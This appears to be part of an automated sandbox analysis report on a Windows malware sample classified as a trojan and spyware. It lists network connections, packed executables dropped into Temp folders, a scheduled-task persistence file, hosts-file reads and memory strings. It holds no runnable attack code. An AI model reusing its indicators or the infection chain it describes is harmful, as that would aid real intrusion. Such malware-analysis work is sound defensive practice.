Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49952 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 9108c36d20.exe, 0000000C.00000002.2768979583.0000000000F32000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_c2e6fa12-1
Source: 9108c36d20.exe, 0000000C.00000002.2768979583.0000000000F32000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_fff64eeb-5

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 150f368769.exe.6.dr	Static PE information: section name:
Source: 150f368769.exe.6.dr	Static PE information: section name: .rsrc
Source: 150f368769.exe.6.dr	Static PE information: section name: .idata
Source: 150f368769.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name:
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name: .idata
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 8c3bfc0f85.exe.6.dr	Static PE information: section name:
Source: 8c3bfc0f85.exe.6.dr	Static PE information: section name: .idata
Source: 8c3bfc0f85.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: 99fdcf0a11.exe.6.dr	Static PE information: section name:
Source: 99fdcf0a11.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00219030	2_1_00219030
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_001F9E16	2_1_001F9E16
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_001F6815	2_1_001F6815
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_000B6A3A	2_1_000B6A3A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00092C33	2_1_00092C33
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_001EFC7E	2_1_001EFC7E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0012DEA3	2_1_0012DEA3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_000F72BD	2_1_000F72BD
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_001E76F3	2_1_001E76F3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_001EAD0A	2_1_001EAD0A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_001E912F	2_1_001E912F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_001E435F	2_1_001E435F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_001EE5C6	2_1_001EE5C6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_001EC5E0	2_1_001EC5E0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0001E530	6_2_0001E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00057049	6_2_00057049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00058860	6_2_00058860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_000578BB	6_2_000578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00052D10	6_2_00052D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_000531A8	6_2_000531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00014DE0	6_2_00014DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00014B30	6_2_00014B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00047F36	6_2_00047F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0005779B	6_2_0005779B
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61EAD2AC	10_2_61EAD2AC
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E4B8A1	10_2_61E4B8A1
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E75F1F	10_2_61E75F1F
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E40065	10_2_61E40065
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E9E24F	10_2_61E9E24F
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E62554	10_2_61E62554
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E9A4A7	10_2_61E9A4A7
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E4E4BF	10_2_61E4E4BF
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E94783	10_2_61E94783
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E7A790	10_2_61E7A790
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E18736	10_2_61E18736
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E86668	10_2_61E86668
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E58670	10_2_61E58670
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E6667F	10_2_61E6667F
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61EA0BA9	10_2_61EA0BA9
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E62CA3	10_2_61E62CA3
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E98FE2	10_2_61E98FE2
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E88FCA	10_2_61E88FCA
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E52F80	10_2_61E52F80
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61EA2F47	10_2_61EA2F47
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E56F18	10_2_61E56F18
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E4CEF9	10_2_61E4CEF9
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E1EEFF	10_2_61E1EEFF
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61EA91F6	10_2_61EA91F6
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E651DD	10_2_61E651DD
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E9316A	10_2_61E9316A
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E9F0ED	10_2_61E9F0ED
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61EA70CF	10_2_61EA70CF
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E9D0C3	10_2_61E9D0C3
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E8D0B6	10_2_61E8D0B6
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E6904E	10_2_61E6904E
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E4304E	10_2_61E4304E
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E15337	10_2_61E15337
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E672DC	10_2_61E672DC
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E19208	10_2_61E19208
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E534E3	10_2_61E534E3
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E77452	10_2_61E77452
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E37930	10_2_61E37930
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E21816	10_2_61E21816
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E9FBF0	10_2_61E9FBF0
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E55BD7	10_2_61E55BD7
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61EA5B62	10_2_61EA5B62
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E91DC1	10_2_61E91DC1
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E6DDA5	10_2_61E6DDA5
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E31DAB	10_2_61E31DAB
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E95D7A	10_2_61E95D7A
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E5BC4C	10_2_61E5BC4C
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E25FA2	10_2_61E25FA2
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E1DEC2	10_2_61E1DEC2
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E69E8F	10_2_61E69E8F
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E89E0E	10_2_61E89E0E

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: file.exe	Static PE information: Section: hhtplcno ZLIB complexity 0.9946330047033285
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: skotes.exe.0.dr	Static PE information: Section: hhtplcno ZLIB complexity 0.9946330047033285
Source: random[1].exe.6.dr	Static PE information: Section: ajtwcbtw ZLIB complexity 0.9946400542237442
Source: 150f368769.exe.6.dr	Static PE information: Section: ajtwcbtw ZLIB complexity 0.9946400542237442
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9993212090163934
Source: random[1].exe0.6.dr	Static PE information: Section: dkoidnzf ZLIB complexity 0.9944298423946716
Source: 22a4a09ee3.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9993212090163934
Source: 22a4a09ee3.exe.6.dr	Static PE information: Section: dkoidnzf ZLIB complexity 0.9944298423946716
Source: random[1].exe1.6.dr	Static PE information: Section: plxaxrgl ZLIB complexity 0.9944965902278178
Source: 8c3bfc0f85.exe.6.dr	Static PE information: Section: plxaxrgl ZLIB complexity 0.9944965902278178

Source: random[1].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 150f368769.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@70/40@25/13

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2516:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5328:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5240:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5660:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
